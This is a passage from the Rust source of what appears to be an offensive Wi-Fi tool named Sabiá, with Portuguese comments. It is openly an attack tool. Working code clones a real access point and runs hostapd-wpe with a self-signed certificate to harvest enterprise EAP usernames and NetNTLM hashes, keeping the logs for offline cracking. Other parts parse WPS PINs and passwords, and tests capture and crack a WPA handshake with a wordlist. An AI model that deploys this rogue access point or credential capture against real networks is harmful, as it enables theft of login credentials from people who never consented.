let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| {
|
|
SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into())
|
|
})?;
|
|
let channel = ap.channel.ok_or_else(|| {
|
|
SabiaError::InvalidInput("canal do AP ainda não identificado".into())
|
|
})?;
|
|
(ssid, channel)
|
|
};
|
|
|
|
crate::wps::find_in_path("hostapd-wpe").ok_or_else(|| {
|
|
SabiaError::InvalidInput(
|
|
"hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe".into(),
|
|
)
|
|
})?;
|
|
|
|
let info = iface::get(ap_iface)?;
|
|
if info.mode != Mode::Managed && info.mode != Mode::Monitor {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{ap_iface} está num modo que o hostapd-wpe não consegue usar"
|
|
)));
|
|
}
|
|
|
|
let dir =
|
|
std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() }));
|
|
fs::create_dir_all(&dir).map_err(SabiaError::Io)?;
|
|
let eap_user_path = dir.join(format!("eap_user-{ap_iface}"));
|
|
let key_path = dir.join(format!("wpe-{ap_iface}.key"));
|
|
let cert_path = dir.join(format!("wpe-{ap_iface}.pem"));
|
|
let log_path = dir.join(format!("wpe-{ap_iface}.log"));
|
|
let hostapd_conf_path = dir.join(format!("hostapd-wpe-{ap_iface}.conf"));
|
|
|
|
fs::write(
|
|
&eap_user_path,
|
|
crate::eviltwin_enterprise::DEFAULT_EAP_USER_FILE,
|
|
)
|
|
.map_err(SabiaError::Io)?;
|
|
// Mesmo certificado autoassinado serve de "CA" e de certificado do
|
|
// servidor — não é uma cadeia de verdade, só o suficiente pra abrir
|
|
// o túnel TLS que PEAP/TTLS exigem. Ver aviso em eviltwin_enterprise.rs
|
|
// sobre clientes que validam a cadeia e vão recusar isso de propósito.
|
|
let cert_args = crate::eviltwin_enterprise::openssl_selfsigned_cert_args(
|
|
&key_path.to_string_lossy(),
|
|
&cert_path.to_string_lossy(),
|
|
);
|
|
let openssl_ok = Command::new("openssl")
|
|
.args(&cert_args)
|
|
.stdout(Stdio::null())
|
|
.stderr(Stdio::null())
|
|
.status()
|
|
.map(|s| s.success())
|
|
.unwrap_or(false);
|
|
if !openssl_ok {
|
|
return Err(SabiaError::InvalidInput(
|
|
"não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe".into(),
|
|
));
|
|
}
|
|
fs::write(
|
|
&hostapd_conf_path,
|
|
crate::eviltwin_enterprise::hostapd_wpe_conf(
|
|
ap_iface,
|
|
&ssid,
|
|
channel,
|
|
&eap_user_path.to_string_lossy(),
|
|
&cert_path.to_string_lossy(),
|
|
&cert_path.to_string_lossy(),
|
|
&key_path.to_string_lossy(),
|
|
&log_path.to_string_lossy(),
|
|
),
|
|
)
|
|
.map_err(SabiaError::Io)?;
|
|
|
|
// Mesmo esquema de recuperação do Evil Twin de PSK (bug-093):
|
|
// `self_heal_eviltwin_leftovers` lê qualquer `state-*.json` sobrando
|
|
// e desfaz tudo no próximo início do engine, mesmo sem
|
|
// `portal_port`/`dnsmasq_conf` (campos ausentes, tratados como
|
|
// opcionais nessa função).
|
|
let state_path = dir.join(format!("state-{ap_iface}.json"));
|
|
let _ = fs::write(
|
|
&state_path,
|
|
serde_json::json!({
|
|
"ap_iface": ap_iface,
|
|
"capture_iface": name,
|
|
"hostapd_conf": hostapd_conf_path.to_string_lossy(),
|
|
})
|
|
.to_string(),
|
|
);
|
|
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", ap_iface, "managed", "no"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", name, "managed", "no"])
|
|
.status();
|
|
|
|
// Mesmo diagnóstico do bug-093 pro hostapd puro: grava a saída pra
|
|
// conseguir explicar um crash imediato em vez de deixar um
|
|
// "<defunct>" mudo (placa sem o canal/banda de verdade, por
|
|
// exemplo). Sem DHCP/iptables aqui — a credencial EAP é enviada
|
|
// como parte do 802.1X, antes de qualquer IP ser atribuído.
|
|
let hostapd_log_path = dir.join(format!("hostapd-wpe-{ap_iface}.log"));
|
|
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
|
|
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
|
|
let mut hostapd_cmd = Command::new("hostapd-wpe");
|
|
hostapd_cmd
|
|
.arg(&hostapd_conf_path)
|
|
.stdout(hostapd_log_out)
|
|
.stderr(hostapd_log_err);
|
|
let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| {
|
|
SabiaError::InvalidInput(format!("não foi possível executar hostapd-wpe: {e}"))
|
|
})?;
|
|
std::thread::sleep(std::time::Duration::from_millis(500));
|
|
if let Ok(Some(status)) = hostapd_child.try_wait() {
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", ap_iface, "managed", "yes"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", name, "managed", "yes"])
|
|
.status();
|
|
let _ = fs::remove_file(&state_path);
|
|
let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default();
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"hostapd-wpe saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}",
|
|
log.trim()
|
|
)));
|
|
}
|
|
let hostapd_pid = hostapd_child.id();
|
|
|
|
let id = format!(
|
|
"enterprisetwin-{}",
|
|
self.enterprise_twin_seq.fetch_add(1, Ordering::SeqCst) + 1
|
|
);
|
|
let job = Arc::new(Mutex::new(EnterpriseTwinJobInfo {
|
|
id: id.clone(),
|
|
iface: name.to_string(),
|
|
ap_iface: ap_iface.to_string(),
|
|
ssid,
|
|
bssid: bssid.to_string(),
|
|
status: "running".into(),
|
|
captured: 0,
|
|
last_identity: None,
|
|
log_path: log_path.to_string_lossy().into_owned(),
|
|
error: None,
|
|
started_unix: unix_now(),
|
|
finished_unix: None,
|
|
hostapd_pid: Some(hostapd_pid),
|
|
}));
|
|
self.enterprise_twin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.insert(id.clone(), job);
|
|
|
|
self.log(
|
|
"eviltwin_enterprise_start",
|
|
name,
|
|
serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface }),
|
|
);
|
|
Ok(id)
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn start_evil_twin_enterprise(
|
|
&self,
|
|
_name: &str,
|
|
_ap_iface: &str,
|
|
_bssid: &str,
|
|
) -> Result<String> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
/// Relê o log do hostapd-wpe (se o job ainda estiver rodando) e devolve
|
|
/// o estado atual — sem thread de fundo: o polling da UI já chama isso
|
|
/// a cada ~1.5s, igual aos outros jobs.
|
|
pub fn enterprise_twin_job(&self, id: &str) -> Option<EnterpriseTwinJobInfo> {
|
|
let job = self.enterprise_twin_jobs.lock().unwrap().get(id).cloned()?;
|
|
{
|
|
let mut guard = job.lock().unwrap();
|
|
if guard.status == "running" {
|
|
if let Ok(log) = std::fs::read_to_string(&guard.log_path) {
|
|
let creds = crate::eviltwin_enterprise::captured_identities(&log);
|
|
guard.captured = creds.len() as u32;
|
|
guard.last_identity = creds
|
|
.last()
|
|
.map(|c| c.netntlm.clone().unwrap_or_else(|| c.username.clone()));
|
|
}
|
|
}
|
|
}
|
|
let info = job.lock().unwrap().clone();
|
|
Some(info)
|
|
}
|
|
|
|
pub fn enterprise_twin_jobs(&self) -> Vec<EnterpriseTwinJobInfo> {
|
|
let ids: Vec<String> = self
|
|
.enterprise_twin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.keys()
|
|
.cloned()
|
|
.collect();
|
|
let mut out: Vec<_> = ids
|
|
.into_iter()
|
|
.filter_map(|id| self.enterprise_twin_job(&id))
|
|
.collect();
|
|
out.sort_by_key(|a| std::cmp::Reverse(a.started_unix));
|
|
out
|
|
}
|
|
|
|
/// Mata o hostapd-wpe e devolve as duas interfaces pro NetworkManager —
|
|
/// síncrono (tem `&self`, sem thread solta pra coordenar), ao contrário
|
|
/// do Evil Twin de PSK que precisa de uma thread de portal rodando em
|
|
/// paralelo. O log de credenciais fica no disco (não é apagado) pra
|
|
/// quebra offline com john/hashcat.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn stop_evil_twin_enterprise(&self, id: &str) -> Result<()> {
|
|
let job = self
|
|
.enterprise_twin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.get(id)
|
|
.cloned()
|
|
.ok_or_else(|| {
|
|
SabiaError::InvalidInput("job de Evil Twin Enterprise não encontrado".into())
|
|
})?;
|
|
let mut guard = job.lock().unwrap();
|
|
if let Some(pid) = guard.hostapd_pid {
|
|
unsafe {
|
|
libc::kill(pid as i32, libc::SIGTERM);
|
|
}
|
|
}
|
|
let _ = std::process::Command::new("nmcli")
|
|
.args(["device", "set", &guard.ap_iface, "managed", "yes"])
|
|
.status();
|
|
let _ = std::process::Command::new("nmcli")
|
|
.args(["device", "set", &guard.iface, "managed", "yes"])
|
|
.status();
|
|
let dir =
|
|
std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() }));
|
|
let _ = std::fs::remove_file(dir.join(format!("state-{}.json", guard.ap_iface)));
|
|
guard.status = "stopped".into();
|
|
guard.finished_unix = Some(unix_now());
|
|
let (capture_iface, ap_iface, bssid, captured) = (
|
|
guard.iface.clone(),
|
|
guard.ap_iface.clone(),
|
|
guard.bssid.clone(),
|
|
guard.captured,
|
|
);
|
|
drop(guard);
|
|
self.log(
|
|
"eviltwin_enterprise_stop",
|
|
&capture_iface,
|
|
serde_json::json!({ "bssid": bssid, "ap_iface": ap_iface, "captured": captured }),
|
|
);
|
|
Ok(())
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn stop_evil_twin_enterprise(&self, _id: &str) -> Result<()> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
pub fn audit_verify(&self) -> Result<Option<usize>> {
|
|
if !self.audit_path.exists() {
|
|
return Ok(None);
|
|
}
|
|
AuditLog::verify(&self.audit_path)
|
|
}
|
|
|
|
pub fn audit_entries(&self, limit: Option<usize>) -> Result<Vec<crate::audit::AuditEntry>> {
|
|
if !self.audit_path.exists() {
|
|
return Ok(Vec::new());
|
|
}
|
|
AuditLog::read_entries(&self.audit_path, limit)
|
|
}
|
|
|
|
pub fn update_check(&self) -> Result<UpdateStatus> {
|
|
update::check(self.version())
|
|
}
|
|
|
|
pub fn update_apply(&self) -> Result<String> {
|
|
let exe = std::env::current_exe()?;
|
|
update::apply(&exe)
|
|
}
|
|
|
|
fn session_handshake(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: &str,
|
|
) -> Result<Option<Handshake>> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let table = session.table.lock().unwrap();
|
|
Ok(table.handshake(bssid, station).cloned())
|
|
}
|
|
|
|
fn log(&self, action: &str, target: &str, details: serde_json::Value) {
|
|
append_audit(&self.audit_path, &self.audit_lock, action, target, &details);
|
|
}
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
fn record_wps_line(job: &Arc<Mutex<WpsJobInfo>>, line: &str) {
|
|
let (pin, password) = crate::wps::parse_line(line);
|
|
if let Ok(mut j) = job.lock() {
|
|
if j.output.len() >= 200 {
|
|
j.output.remove(0);
|
|
}
|
|
j.output.push(line.to_string());
|
|
if pin.is_some() {
|
|
j.pin = pin;
|
|
}
|
|
if password.is_some() {
|
|
j.password = password;
|
|
}
|
|
}
|
|
}
|
|
|
|
fn append_audit(
|
|
path: &Path,
|
|
lock: &Arc<Mutex<()>>,
|
|
action: &str,
|
|
target: &str,
|
|
details: &serde_json::Value,
|
|
) {
|
|
let _guard = lock.lock().unwrap();
|
|
let Ok(mut log) = AuditLog::open(path) else {
|
|
return;
|
|
};
|
|
let text = details.to_string();
|
|
let _ = log.record(action, target, &text);
|
|
}
|
|
|
|
/// Desfaz um Evil Twin que não terminou direito numa execução anterior
|
|
/// (processo morto por Ctrl+C sem handler, `kill -9`, queda de energia):
|
|
/// mata hostapd/dnsmasq órfãos, remove as regras de iptables e devolve as
|
|
/// duas interfaces (clone + captura) pro NetworkManager. Sem isso elas
|
|
/// ficam presas em `managed no` e o painel de Wi-Fi do sistema some por
|
|
/// completo (nenhum dispositivo gerenciado pra mostrar) até o usuário
|
|
/// descobrir e rodar `nmcli device set <iface> managed yes` na mão.
|
|
/// Roda uma vez, best-effort, toda vez que um `Engine` é criado.
|
|
#[cfg(target_os = "linux")]
|
|
fn self_heal_eviltwin_leftovers() {
|
|
use std::process::Command;
|
|
|
|
let Ok(uid) = std::env::var("SUDO_UID").or_else(|_| std::env::var("UID")) else {
|
|
return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
|
|
};
|
|
let Ok(uid) = uid.parse::<u32>() else {
|
|
return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
|
|
};
|
|
self_heal_eviltwin_leftovers_for_uid(uid);
|
|
// Também cobre o euid atual (sudo normalmente roda como root/0, que é
|
|
// o euid real do processo mesmo com SUDO_UID setado).
|
|
self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
|
|
|
|
fn self_heal_eviltwin_leftovers_for_uid(uid: u32) {
|
|
let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{uid}"));
|
|
let Ok(entries) = std::fs::read_dir(&dir) else {
|
|
return;
|
|
};
|
|
for entry in entries.flatten() {
|
|
let path = entry.path();
|
|
let is_state_file = path
|
|
.file_name()
|
|
.and_then(|n| n.to_str())
|
|
.is_some_and(|n| n.starts_with("state-") && n.ends_with(".json"));
|
|
if !is_state_file {
|
|
continue;
|
|
}
|
|
let Ok(text) = std::fs::read_to_string(&path) else {
|
|
continue;
|
|
};
|
|
let Ok(state) = serde_json::from_str::<serde_json::Value>(&text) else {
|
|
continue;
|
|
};
|
|
let ap_iface = state.get("ap_iface").and_then(|v| v.as_str());
|
|
let capture_iface = state.get("capture_iface").and_then(|v| v.as_str());
|
|
let portal_port = state.get("portal_port").and_then(|v| v.as_u64());
|
|
let hostapd_conf = state.get("hostapd_conf").and_then(|v| v.as_str());
|
|
let dnsmasq_conf = state.get("dnsmasq_conf").and_then(|v| v.as_str());
|
|
|
|
if let Some(conf) = hostapd_conf {
|
|
let _ = Command::new("pkill").args(["-f", conf]).status();
|
|
}
|
|
if let Some(conf) = dnsmasq_conf {
|
|
let _ = Command::new("pkill").args(["-f", conf]).status();
|
|
}
|
|
if let (Some(ap_iface), Some(portal_port)) = (ap_iface, portal_port) {
|
|
for rule in crate::eviltwin::iptables_cleanup_rules(ap_iface, portal_port as u16) {
|
|
let _ = Command::new("iptables").args(&rule).status();
|
|
}
|
|
}
|
|
for iface in [ap_iface, capture_iface].into_iter().flatten() {
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", iface, "managed", "yes"])
|
|
.status();
|
|
}
|
|
if let Some(conf) = hostapd_conf {
|
|
let _ = std::fs::remove_file(conf);
|
|
}
|
|
if let Some(conf) = dnsmasq_conf {
|
|
let _ = std::fs::remove_file(conf);
|
|
}
|
|
let _ = std::fs::remove_file(&path);
|
|
}
|
|
}
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
fn probe_station_mac() -> [u8; 6] {
|
|
let nanos = SystemTime::now()
|
|
.duration_since(UNIX_EPOCH)
|
|
.map(|d| d.subsec_nanos())
|
|
.unwrap_or(0);
|
|
let pid = std::process::id();
|
|
[
|
|
0x02,
|
|
(nanos >> 24) as u8,
|
|
(nanos >> 16) as u8,
|
|
(nanos >> 8) as u8,
|
|
nanos as u8,
|
|
(pid ^ (nanos >> 7)) as u8,
|
|
]
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
fn akms_for(ap: &AccessPoint) -> Vec<u8> {
|
|
let mut out = Vec::new();
|
|
for akm in &ap.akm {
|
|
match akm.as_str() {
|
|
"PSK" => out.push(2),
|
|
"802.1X" => out.push(1),
|
|
"SAE" => out.push(8),
|
|
"OWE" => out.push(18),
|
|
_ => {}
|
|
}
|
|
}
|
|
if out.is_empty() {
|
|
match ap.security.as_deref() {
|
|
Some("WPA3") | Some("WPA3-EAP") => out.push(8),
|
|
Some("WPA2/WPA3") => {
|
|
out.push(2);
|
|
out.push(8);
|
|
}
|
|
Some("OWE") => out.push(18),
|
|
Some("WPA2-EAP") => out.push(1),
|
|
_ => out.push(2),
|
|
}
|
|
}
|
|
out
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
fn parse_mac(text: &str) -> Result<[u8; 6]> {
|
|
crate::dot11::parse_mac(text)
|
|
.ok_or_else(|| SabiaError::InvalidInput(format!("MAC inválido: {text}")))
|
|
}
|
|
|
|
fn unix_now() -> u64 {
|
|
SystemTime::now()
|
|
.duration_since(UNIX_EPOCH)
|
|
.map(|d| d.as_secs())
|
|
.unwrap_or(0)
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
use crate::radiotap::Band;
|
|
use crate::testutil::{
|
|
ap, beacon_frame, frame_with_eapol, handshake_frames, radiotap_wrap, sta,
|
|
};
|
|
use tempfile::TempDir;
|
|
|
|
fn seed_session(engine: &Engine, name: &str) -> Arc<Mutex<ScanTable>> {
|
|
let mut table = ScanTable::new();
|
|
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
|
|
table.ingest(&beacon);
|
|
let (m1, m2) = handshake_frames("RedeWPA", "password", 2, false);
|
|
let f1 = frame_with_eapol(true, ap(), sta(), [0x33; 6], &m1);
|
|
let f2 = frame_with_eapol(false, ap(), sta(), [0x33; 6], &m2);
|
|
table.ingest(&radiotap_wrap(&f1, 2437, -40));
|
|
table.ingest(&radiotap_wrap(&f2, 2437, -41));
|
|
assert_eq!(table.stats().handshakes, 1);
|
|
|
|
let table = Arc::new(Mutex::new(table));
|
|
engine.sessions.lock().unwrap().insert(
|
|
name.to_string(),
|
|
Session {
|
|
table: table.clone(),
|
|
running: Arc::new(AtomicBool::new(false)),
|
|
channel: Arc::new(Mutex::new(Some(6))),
|
|
locked_channel: Arc::new(Mutex::new(None)),
|
|
channels: vec![6],
|
|
started_unix: 1,
|
|
pcap_out: None,
|
|
error: Arc::new(Mutex::new(None)),
|
|
handle: None,
|
|
},
|
|
);
|
|
table
|
|
}
|
|
|
|
#[test]
|
|
fn scan_snapshot_warns_when_running_long_with_zero_frames() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
engine.sessions.lock().unwrap().insert(
|
|
"wlan-test".to_string(),
|
|
Session {
|
|
table: Arc::new(Mutex::new(ScanTable::new())),
|
|
running: Arc::new(AtomicBool::new(true)),
|
|
channel: Arc::new(Mutex::new(Some(6))),
|
|
locked_channel: Arc::new(Mutex::new(None)),
|
|
channels: vec![6],
|
|
started_unix: 1,
|
|
pcap_out: None,
|
|
error: Arc::new(Mutex::new(None)),
|
|
handle: None,
|
|
},
|
|
);
|
|
let snap = engine.scan_snapshot("wlan-test").unwrap();
|
|
assert!(snap.warning.is_some());
|
|
assert!(snap.warning.unwrap().contains("Nenhum quadro"));
|
|
}
|
|
|
|
#[test]
|
|
fn scan_snapshot_does_not_warn_right_after_starting() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
engine.sessions.lock().unwrap().insert(
|
|
"wlan-test".to_string(),
|
|
Session {
|
|
table: Arc::new(Mutex::new(ScanTable::new())),
|
|
running: Arc::new(AtomicBool::new(true)),
|
|
channel: Arc::new(Mutex::new(Some(6))),
|
|
locked_channel: Arc::new(Mutex::new(None)),
|
|
channels: vec![6],
|
|
started_unix: unix_now(),
|
|
pcap_out: None,
|
|
error: Arc::new(Mutex::new(None)),
|
|
handle: None,
|
|
},
|
|
);
|
|
let snap = engine.scan_snapshot("wlan-test").unwrap();
|
|
assert!(snap.warning.is_none());
|
|
}
|
|
|
|
#[test]
|
|
fn force_handshake_picks_an_associated_client() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
|
|
assert_eq!(
|
|
engine.first_associated_station("wlan-test", "00:11:22:33:44:55"),
|
|
Some("66:77:88:99:aa:bb".into())
|
|
);
|
|
assert_eq!(
|
|
engine.first_associated_station("wlan-test", "00:11:22:33:44:66"),
|
|
None
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_rejects_same_interface_for_clone_and_capture() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
let err = engine
|
|
.start_evil_twin("wlan-test", "wlan-test", "00:11:22:33:44:55", 8080, false)
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("diferente"));
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_rejects_bssid_never_seen_in_this_session() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
let err = engine
|
|
.start_evil_twin("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff", 8080, false)
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("não apareceu"));
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_requires_a_crackable_handshake_for_that_bssid() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
// Só o beacon, sem handshake nenhum — a sessão sabe do AP mas não
|
|
// tem como conferir senha nenhuma no portal ainda.
|
|
let mut table = ScanTable::new();
|
|
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
|
|
table.ingest(&beacon);
|
|
engine.sessions.lock().unwrap().insert(
|
|
"wlan-test".to_string(),
|
|
Session {
|
|
table: Arc::new(Mutex::new(table)),
|
|
running: Arc::new(AtomicBool::new(false)),
|
|
channel: Arc::new(Mutex::new(Some(6))),
|
|
locked_channel: Arc::new(Mutex::new(None)),
|
|
channels: vec![6],
|
|
started_unix: 1,
|
|
pcap_out: None,
|
|
error: Arc::new(Mutex::new(None)),
|
|
handle: None,
|
|
},
|
|
);
|
|
let err = engine
|
|
.start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false)
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("handshake quebrável"));
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_fails_clearly_when_hostapd_is_missing() {
|
|
// Neste ambiente de CI/sandbox hostapd não está instalado de
|
|
// propósito — exercita o caminho de erro de verdade, não um mock.
|
|
if crate::wps::find_in_path("hostapd").is_some() {
|
|
eprintln!("hostapd instalado nesta máquina — pulando (o teste é pro caso sem ele)");
|
|
return;
|
|
}
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
let err = engine
|
|
.start_evil_twin("wlan-test", "wlan1", "00:11:22:33:44:55", 8080, false)
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("hostapd"));
|
|
assert_eq!(
|
|
engine.eviltwin_jobs().len(),
|
|
0,
|
|
"não deve criar job sem hostapd"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_enterprise_rejects_same_interface_for_clone_and_capture() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
let err = engine
|
|
.start_evil_twin_enterprise("wlan-test", "wlan-test", "00:11:22:33:44:55")
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("diferente"));
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_enterprise_rejects_a_psk_network() {
|
|
// seed_session() cria um beacon com AKM 2 (PSK) — não é Enterprise.
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
let err = engine
|
|
.start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55")
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("Enterprise"));
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_enterprise_rejects_bssid_never_seen_in_this_session() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
let err = engine
|
|
.start_evil_twin_enterprise("wlan-test", "wlan1", "ff:ff:ff:ff:ff:ff")
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("não apareceu"));
|
|
}
|
|
|
|
#[test]
|
|
fn evil_twin_enterprise_accepts_an_802_1x_network_up_to_the_hostapd_wpe_check() {
|
|
// AKM 1 = 802.1X (Enterprise) — passa a validação de segurança e só
|
|
// falha mais na frente, no binário externo que não existe neste
|
|
// ambiente de CI/sandbox de propósito.
|
|
if crate::wps::find_in_path("hostapd-wpe").is_some() {
|
|
eprintln!("hostapd-wpe instalado nesta máquina — pulando (o teste é pro caso sem ele)");
|
|
return;
|
|
}
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
let mut table = ScanTable::new();
|
|
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeCorp", 6, &[1]), 2437, -40);
|
|
table.ingest(&beacon);
|
|
engine.sessions.lock().unwrap().insert(
|
|
"wlan-test".to_string(),
|
|
Session {
|
|
table: Arc::new(Mutex::new(table)),
|
|
running: Arc::new(AtomicBool::new(false)),
|
|
channel: Arc::new(Mutex::new(Some(6))),
|
|
locked_channel: Arc::new(Mutex::new(None)),
|
|
channels: vec![6],
|
|
started_unix: 1,
|
|
pcap_out: None,
|
|
error: Arc::new(Mutex::new(None)),
|
|
handle: None,
|
|
},
|
|
);
|
|
let err = engine
|
|
.start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55")
|
|
.unwrap_err();
|
|
assert!(err.to_string().contains("hostapd-wpe"));
|
|
assert_eq!(
|
|
engine.enterprise_twin_jobs().len(),
|
|
0,
|
|
"não deve criar job sem hostapd-wpe"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn analyzes_pcap_and_snapshot() {
|
|
let dir = TempDir::new().unwrap();
|
|
let pcap = dir.path().join("capture.pcap");
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
let table = seed_session(&engine, "wlan-test");
|
|
let hs = {
|
|
let table = table.lock().unwrap();
|
|
table
|
|
.handshake("00:11:22:33:44:55", "66:77:88:99:aa:bb")
|
|
.cloned()
|
|
.unwrap()
|
|
};
|
|
|
|
let mut writer = PcapWriter::create(&pcap).unwrap();
|
|
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
|
|
writer.write_frame(&beacon).unwrap();
|
|
for frame in hs.raw_frames() {
|
|
writer.write_frame(&frame).unwrap();
|
|
}
|
|
writer.flush().unwrap();
|
|
|
|
let snapshot = engine.analyze_pcap(&pcap).unwrap();
|
|
assert_eq!(snapshot.access_points.len(), 1);
|
|
assert_eq!(snapshot.access_points[0].ssid.as_deref(), Some("RedeWPA"));
|
|
assert_eq!(snapshot.access_points[0].band, Some(Band::B2G4));
|
|
assert_eq!(snapshot.handshakes.len(), 1);
|
|
assert!(snapshot.handshakes[0].crackable);
|
|
assert_eq!(snapshot.stats.frames, 3);
|
|
}
|
|
|
|
#[test]
|
|
fn exports_handshake_and_cracks_it() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
seed_session(&engine, "wlan-test");
|
|
|
|
let export = dir.path().join("hs.pcap");
|
|
let report = engine
|
|
.export_handshake(
|
|
"wlan-test",
|
|
"00:11:22:33:44:55",
|
|
"66:77:88:99:aa:bb",
|
|
&export,
|
|
)
|
|
.unwrap();
|
|
assert_eq!(report.frames, 2);
|
|
assert!(export.is_file());
|
|
|
|
let wordlist = dir.path().join("words.txt");
|
|
std::fs::write(&wordlist, "errada\noutra\npassword\nnunca\n").unwrap();
|
|
let id = engine
|
|
.start_crack(
|
|
"wlan-test",
|
|
Some("00:11:22:33:44:55"),
|
|
Some("66:77:88:99:aa:bb"),
|
|
&wordlist,
|
|
false,
|
|
)
|
|
.unwrap();
|
|
|
|
let deadline = Instant::now() + Duration::from_secs(10);
|
|
loop {
|
|
let job = engine.crack_job(&id).unwrap();
|
|
if job.status != "running" {
|
|
assert_eq!(job.status, "done");
|
|
assert_eq!(
|
|
job.report.as_ref().and_then(|r| r.password.as_deref()),
|
|
Some("password")
|
|
);
|
|
break;
|
|
}
|
|
assert!(Instant::now() < deadline, "job não terminou");
|
|
std::thread::sleep(Duration::from_millis(20));
|
|
}
|
|
|
|
let hs = engine.handshakes(Some("wlan-test"));
|
|
assert_eq!(hs[0].password.as_deref(), Some("password"));
|
|
}
|
|
|
|
#[test]
|
|
fn errors_are_clear_for_missing_inputs() {
|
|
let dir = TempDir::new().unwrap();
|
|
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
|
|
